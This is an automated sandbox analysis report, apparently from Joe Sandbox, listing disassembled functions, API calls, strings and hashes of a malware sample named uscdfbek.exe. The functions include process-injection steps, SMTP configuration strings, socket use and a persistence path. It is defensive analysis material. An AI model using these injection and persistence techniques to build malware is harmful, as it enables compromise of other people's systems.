Opcode Fuzzy Hash: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction Fuzzy Hash: 25214F7190022AABCB11AB55DD48AEFBBB8EF08750F104432F905B7290D7F49E8587D8

Function 0040BE31 Relevance: 13.7, APIs: 6, Strings: 3, Instructions: 152stringCOMMON

Download Yara Rule

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

smtp_herr, xrefs: 0040BE46, 0040BF62
smtp_ban, xrefs: 0040BE55, 0040BF77
smtp_retr, xrefs: 0040BE61, 0040BF8C

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-1625972887
Opcode ID: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Function 00406A60 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,75918A60,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNEL32(00409E9D,00409A60,?,?,?,004122F8,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLast$File$CreateDeleteDiskFreeSpace
String ID:
API String ID: 3188212458-0
Opcode ID: 362dcede7d5d7e1862a192dbfd3c9a0fc2e91233da1497f7250b4d19aff3169c
Instruction ID: ab228a986819567a034f5778c60117e3a6ddbbfebf067212e33de9fc62893814
Opcode Fuzzy Hash: 362dcede7d5d7e1862a192dbfd3c9a0fc2e91233da1497f7250b4d19aff3169c
Instruction Fuzzy Hash: 6C31F1B2900108BFDB00DFA09D44ADF7F78EF48310F158076E212F7291D674A9618F69

Function 02616778 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000008), ref: 026167C3
htonl.WS2_32(?), ref: 026167DF
htonl.WS2_32(?), ref: 026167EE
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 026168F1
ExitProcess.KERNEL32 ref: 026169BC

Strings

except_info, xrefs: 0261698F
localcfg, xrefs: 02616994

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Processhtonl$CurrentExitRead
String ID: except_info$localcfg
API String ID: 1430491713-3605449297
Opcode ID: 9895dd2e79d38ff6447f40a868429f3d8bfef7524ed1ea596fca3f6cba339201
Instruction ID: fa2fbed1f141b604fdeb049cf41dfe97e2249f1c75f383c2a53dd4290d81e8d0
Opcode Fuzzy Hash: 9895dd2e79d38ff6447f40a868429f3d8bfef7524ed1ea596fca3f6cba339201
Instruction Fuzzy Hash: 83616E71A40208AFDB609FB4DC45FEA77E9FB08300F14846AFA6DD2161EB75A990CF54

Function 0261F57C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0261CC84), ref: 0261F5B4
socket.WS2_32(00000002,00000001,00000000), ref: 0261F5CE
closesocket.WS2_32(00000000), ref: 0261F5DC

Strings

time_cfg, xrefs: 0261F58A

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: time_cfg
API String ID: 311057483-2401304539
Opcode ID: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction ID: 13c5b6c110c3139388a58556ba17a7bdc44f22bec0933804ffe69d36ca4fd6ac
Opcode Fuzzy Hash: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction Fuzzy Hash: 31316E72900218ABDB10DFA5DC89DEE7BBCFF89310F14456AF915D3150E770AA818BE4

Function 00406F5F Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,0040D7C3), ref: 00406F7A
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,0040D7C3), ref: 00406FC1
ConvertSidToStringSidA.ADVAPI32(?,00000120), ref: 00406FE8
LocalFree.KERNEL32(00000120), ref: 0040701F
wsprintfA.USER32 ref: 00407036

Strings

/%d, xrefs: 00407030
|, xrefs: 00406FB3

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Name$AccountConvertFreeLocalLookupStringUserwsprintf
String ID: /%d$|
API String ID: 676856371-4124749705
Opcode ID: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction ID: 25602f0bb6ce76eb5d01febd46d0227a680cec7408ef54ec30c82d1084126da1
Opcode Fuzzy Hash: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction Fuzzy Hash: B5313C72900209BFDB01DFA5DC45BDB7BBCEF04314F048166F949EB241DA79EA588B98

Function 02612F88 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85memorylibrarystringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 02612FA1
LoadLibraryA.KERNEL32(?), ref: 02612FB1
GetProcAddress.KERNEL32(00000000,004103F0), ref: 02612FC8
GetProcessHeap.KERNEL32(00000000,00000108), ref: 02613000
RtlAllocateHeap.NTDLL(00000000), ref: 02613007
lstrcpyn.KERNEL32(00000008,?,000000FF), ref: 02613032

Strings

dnsapi.dll, xrefs: 02612F90

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: dnsapi.dll
API String ID: 1242400761-3175542204
Opcode ID: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction ID: d85f8d14ae31e3e4dd18910e3748bb25aa5e6c16e927224d338220fcbb1b9b69
Opcode Fuzzy Hash: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction Fuzzy Hash: 0921A171D40229BBCB219B54DC48AEEBBBCEF08B11F048461F906E7240D7B4AA9187E4

Function 00406CC9 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,004122F8,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85
kernel32, xrefs: 00406CE2
GetSystemWow64DirectoryA, xrefs: 00406CDD

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$kernel32
API String ID: 1082366364-3395550214
Opcode ID: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Function 026199E3 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 02619A18
GetThreadContext.KERNEL32(?,?), ref: 02619A52
TerminateProcess.KERNEL32(?,00000000), ref: 02619A60
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 02619A98
SetThreadContext.KERNEL32(?,00010002), ref: 02619AB5
ResumeThread.KERNEL32(?), ref: 02619AC2

Strings

D, xrefs: 02619A10

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D
API String ID: 2981417381-2746444292
Opcode ID: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction ID: 3adbf57ff7773a0d85b947bbd01f4eaeb2178b27659444ec678e88985656341b
Opcode Fuzzy Hash: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction Fuzzy Hash: 44213BB1E02219BBDB119BA1DC09EEFBBBCEF04750F444061BA19E1190EB759A44CBA4

Function 02611C03 Relevance: 12.1, APIs: 8, Instructions: 106memorylibraryCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(004102D8), ref: 02611C18
LoadLibraryA.KERNEL32(004102C8), ref: 02611C26
GetProcessHeap.KERNEL32 ref: 02611C84
RtlAllocateHeap.NTDLL(00000000,00000000,00000288), ref: 02611C9D
RtlReAllocateHeap.NTDLL(?,00000000,00000000,?), ref: 02611CC1
HeapFree.KERNEL32(?,00000000,00000000), ref: 02611D02
FreeLibrary.KERNEL32(?), ref: 02611D0B

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFreeLibrary$LoadProcessinet_addr
String ID:
API String ID: 2324436984-0
Opcode ID: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction ID: 937f823c50db36ea6593985e3d175f139a75537f352e49acd4e969e945d17785
Opcode Fuzzy Hash: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction Fuzzy Hash: 0C315E31D00219FFCB119FA4DC889EEBAB9EB46305B2844BAE605E2250D7B55E80DB94

Function 02616CC7 Relevance: 10.6, APIs: 7, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 02616CE4
GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02616D22
GetLastError.KERNEL32 ref: 02616DA7
CloseHandle.KERNEL32(?), ref: 02616DB5
GetLastError.KERNEL32 ref: 02616DD6
DeleteFileA.KERNEL32(?), ref: 02616DE7
GetLastError.KERNEL32 ref: 02616DFD

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: ErrorLast$File$CloseCreateDeleteDiskFreeHandleSpace
String ID:
API String ID: 3873183294-0
Opcode ID: 362dcede7d5d7e1862a192dbfd3c9a0fc2e91233da1497f7250b4d19aff3169c
Instruction ID: ba36685e482cad1246b4353134d0ebb92c6c1a860f3c4759a8b2e37aebd1b677
Opcode Fuzzy Hash: 362dcede7d5d7e1862a192dbfd3c9a0fc2e91233da1497f7250b4d19aff3169c
Instruction Fuzzy Hash: 8131237AD00249BFCB00DFA5DD44ADEBF7EEB48300F088069E611E32A0D770A6418B65

Function 02616F30 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\rwmckfcj,02617043), ref: 02616F4E
GetProcAddress.KERNEL32(00000000), ref: 02616F55
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 02616F7B
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 02616F92

Strings

C:\Windows\SysWOW64\, xrefs: 02616F30, 02616F38, 02616F65, 02616F6C, 02616F7A, 02616F85, 02616F91, 02616FA9, 02616FC6, 02616FEC
\\.\pipe\rwmckfcj, xrefs: 02616F37

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$\\.\pipe\rwmckfcj
API String ID: 1082366364-1206033897
Opcode ID: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction ID: 735d9eb027df61180605340d6988f01fcad2e846966826b4a2de34ad9a064fb7
Opcode Fuzzy Hash: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction Fuzzy Hash: 452135617403803EF72257319C88FFB3E4D8F52765F1C80A9F804E6690DBD9A4D682AD

Function 0261AA28 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 247stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 0261AAE5

Strings

, xrefs: 0261ABB3
localcfg, xrefs: 0261AD72

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: $localcfg
API String ID: 1659193697-2018645984
Opcode ID: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction ID: d107bfa2c9435e27208d45145c514475e64629a4b5b2f9d21126432efe107cc9
Opcode Fuzzy Hash: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction Fuzzy Hash: 3E713871E01344AADF218BD4DD85FEE376AAB01319F2C402AF904A62D0DF62BDC4CB59

Function 0040E8A1 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 172stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

Part of subcall function 0040DD84: lstrcmpiA.KERNEL32(80000011,00000000), ref: 0040DDB5

lstrcpynA.KERNEL32(?,00401E84,00000010,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?), ref: 0040E8DE
lstrlenA.KERNEL32(?,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E935
lstrlenA.KERNEL32(00000001,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?,0000000A), ref: 0040E93D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E94F

Strings

localcfg, xrefs: 0040E8AB
flags_upd, xrefs: 0040E8A7

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: lstrlen$CountCurrentExchangeInterlockedThreadTicklstrcmpilstrcpyn
String ID: flags_upd$localcfg
API String ID: 204374128-3505511081
Opcode ID: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction ID: 4a5a107d8aad74d0ab91cd578fe54778089971c235e688b3f19fdb3cdc8cf470
Opcode Fuzzy Hash: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction Fuzzy Hash: A5514F7290020AAFCB00EFE9C985DAEBBF9BF48308F14452EE405B3251D779EA548B54

Function 0261E8BB Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0261DF6C: GetCurrentThreadId.KERNEL32 ref: 0261DFBA

lstrcmp.KERNEL32(00410178,00000000), ref: 0261E8FA
lstrcpyn.KERNEL32(00000008,00000000,0000000F,?,00410170,00000000,?,02616128), ref: 0261E950
lstrcmp.KERNEL32(?,00000008), ref: 0261E989

Strings

A, xrefs: 0261E8C6, 0261E8CD, 0261E936, 0261E998
A, xrefs: 0261E9A0
A, xrefs: 0261E960, 0261E965

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: lstrcmp$CurrentThreadlstrcpyn
String ID: A$ A$ A
API String ID: 2920362961-1846390581
Opcode ID: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction ID: 69986b6fe92590b8cca1ea8a79acfb1d8b5975a1cfe0ed06719f8ed09025ef64
Opcode Fuzzy Hash: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction Fuzzy Hash: 6331BC31A007459FCB75CF24C884BAA7BE8EB09725F08892AE99587654D372F880CB85

Function 02616E0E Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 02616E19

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Code
String ID:
API String ID: 3609698214-0
Opcode ID: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction ID: c3c250325527ba8b9ae982e3963c938b65232edce1e44862d4d2ecc46110ffcc
Opcode Fuzzy Hash: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction Fuzzy Hash: BA216076108115FFDB149B70FC48EDF3FADDB49365B148525F502D1190EB71EA4096B8

Function 00406BA7 Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 00406BB2

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Code
String ID:
API String ID: 3609698214-0
Opcode ID: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction ID: deae59b9a6c18e17a8054c2740d34a6eafe128a66e3352cd220e92de8f8b68f4
Opcode Fuzzy Hash: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction Fuzzy Hash: D7218B72208115FFEB10ABB1ED49EDF3EACDB08364B218436F543F1091EA799A50966C

Function 026192CB Relevance: 9.1, APIs: 6, Instructions: 83filestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,?), ref: 026192E2
wsprintfA.USER32 ref: 02619350
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 02619375
lstrlen.KERNEL32(?,?,00000000), ref: 02619389
WriteFile.KERNEL32(00000000,?,00000000), ref: 02619394
CloseHandle.KERNEL32(00000000), ref: 0261939B

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID:
API String ID: 2439722600-0
Opcode ID: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction ID: 0b543809f75eb3f5a302b430a0b900b6df51f884b278a5b1d820f80f8e7e75af
Opcode Fuzzy Hash: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction Fuzzy Hash: 051184B17402147FE7246731EC0DFEF3A6EDBC8B11F048069BF09E5090EEB59A418A68

Function 00409064 Relevance: 9.1, APIs: 6, Instructions: 83filestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,004122F8), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(004122F8,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID:
API String ID: 2439722600-0
Opcode ID: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Function 0040DD05 Relevance: 9.0, APIs: 6, Instructions: 34threadsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040DD0F
GetCurrentThreadId.KERNEL32 ref: 0040DD20
GetTickCount.KERNEL32 ref: 0040DD2E
Sleep.KERNEL32(00000000,?,75920F10,?,00000000,0040E538,?,75920F10,?,00000000,?,0040A445), ref: 0040DD3B
InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
GetCurrentThreadId.KERNEL32 ref: 0040DD53

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CountCurrentThreadTick$ExchangeInterlockedSleep
String ID:
API String ID: 3819781495-0
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 5047c4a85d7ce053583ecb6bfb553561e79882e3d1eaa06aec664d00f8baf4e0
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 1AF0E971604204AFD7505FA5BC84BB53FA4EB48353F008077E109D22A8C77455898F2E

Function 0261C543 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 182threadCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0261C6B4
InterlockedIncrement.KERNEL32(0261C74B), ref: 0261C715
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,0261C747), ref: 0261C728
CloseHandle.KERNEL32(00000000,?,0261C747,00413588,02618A77), ref: 0261C733

Strings

localcfg, xrefs: 0261C544

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CloseCountCreateHandleIncrementInterlockedThreadTick
String ID: localcfg
API String ID: 1026198776-1857712256
Opcode ID: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction ID: 81627d23570bb100ce28012f81dabe9075870426df43f2b6a42b2991bd62cdea
Opcode Fuzzy Hash: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction Fuzzy Hash: 9B518CB1A40B418FC7248F69C9D462ABBE9FB48300B64693FE18BC7A90D774F840CB51

Function 004080C9 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,75920F10,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,75920F10,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,75920F10,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,75920F10,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,75920F10,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,75920F10,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,75920F10,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,75920F10,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,75920F10,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNEL32(000000FF,?,00000040,00408244,00000000,?,75920F10,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,?,75920F10,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNEL32(000000FF,?,000000F8,?,00000000,?,75920F10,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,?,75920F10,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Strings

C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe, xrefs: 00408225, 0040823A

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

